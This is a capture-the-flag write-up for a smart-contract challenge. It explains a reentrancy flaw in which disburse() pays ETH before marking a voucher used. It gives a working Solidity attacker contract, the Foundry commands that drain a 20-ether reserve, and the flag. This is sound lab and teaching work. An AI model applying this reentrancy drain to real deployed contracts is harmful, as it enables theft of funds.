Standing Order Reentrancy across two redemption paths

misc
flag hiCTF{one_sig_two_paths_then_the_l00p_df97c83cf9}

HI CyberCon 2026. Live instancer chain: https://standing-order-<id>.chall.hiddeninvestigations.net (RPC at /, handout at /info, flag at /flag), Foundry cast/forge, Solidity 0.8.24.

FLAG

output
hiCTF{one_sig_two_paths_then_the_l00p_df97c83cf9}

(served by GET /flag once Setup.isSolved() is true)

The bug

Disbursement has two redemption paths over the same voucher:

  • acknowledge() - checks-effects-interactions: voucherUsed[digest] = true BEFORE the ETH send.
  • disburse() - interaction BEFORE effect: recipient.call{value: amount}("") first, voucherUsed[digest] = true only after the call returns.

voucherDigest(amount, nonce) = keccak256(abi.encodePacked(amount, nonce)) - no recipient, no function selector, so the same committee signature is valid on both paths. The only thing stopping a replay is the voucherUsed mapping, and disburse() sets it too late.

Exploit - reentrancy through the value callback

Instance parameters (read from Setup): RESERVE = 20 ether, VOUCHER_AMOUNT = 1 ether, VOUCHER_NONCE = 0, one 65-byte committee signature.

Because disburse() pays before marking the voucher used, every nested frame re-checks !voucherUsed[digest] and still sees false. A contract that re-enters disburse() from its receive() keeps getting 1 ether per level until the reserve cannot cover another payout.

contracts/Attack.sol:

solidity
receive() external payable {
    entries++;
    if (address(target).balance >= amount) {          // stop at balance == amount -> last payout leaves 0
        (bool ok,) = address(target).call(            // low-level: an inner failure can't revert the chain
            abi.encodeWithSelector(IDisbursement.disburse.selector, address(this), amount, nonce, sig)
        );
        ok;
    }
}

Threshold matters: re-entering when only < amount is left would make the inner require(ok, "pay: failed") revert and unwind the whole chain.

Execution

bash
1export PATH="$PATH:$HOME/.foundry/bin"
2R=https://standing-order-1be4a0b3527f.chall.hiddeninvestigations.net
3S=0x4A8cde36e5fd97a683Ef39fd6b3FAe40DE81fF13
4D=$(cast call $S 'disbursement()(address)' --rpc-url $R)     # 0x4BA7b0Be...394b
5cast call $S 'voucher()(uint256,uint256,bytes)' --rpc-url $R # 1e18, 0, 0xa45292...4de91b
6
7# SIG = 0xa45292a319341b3d8bb2a5f7ad6f24439de369c2db1d91e17775b8bbbe31a7bf4c186715f58dc471634a4fede32efd50e10293774300f850f0fa9f8b150a4de91b
8# deploy the attacker (constructor: target, amount, nonce, sig)
9forge create contracts/Attack.sol:StandingOrderAttack --rpc-url $R \
10  --private-key $PK --broadcast --constructor-args $D 1000000000000000000 0 $SIG
11
12cast send <attacker> 'go()' --rpc-url $R --private-key $PK --gas-limit 5000000
13curl -sk $R/flag

Result: status 1, gasUsed 400782, entries = 20, Disbursement balance 20 ether -> 0, isSolved() == true.

Verification discipline

Proven on an anvil --fork-url <instance> -a 0 fork FIRST (free, resettable): 20 re-entries, drain to 0, isSolved() == true, then the identical tx replayed on the live chain with the same result. No guessing about depth/gas - the loop is balance-bounded, so the depth (20) falls out of RESERVE / VOUCHER_AMOUNT.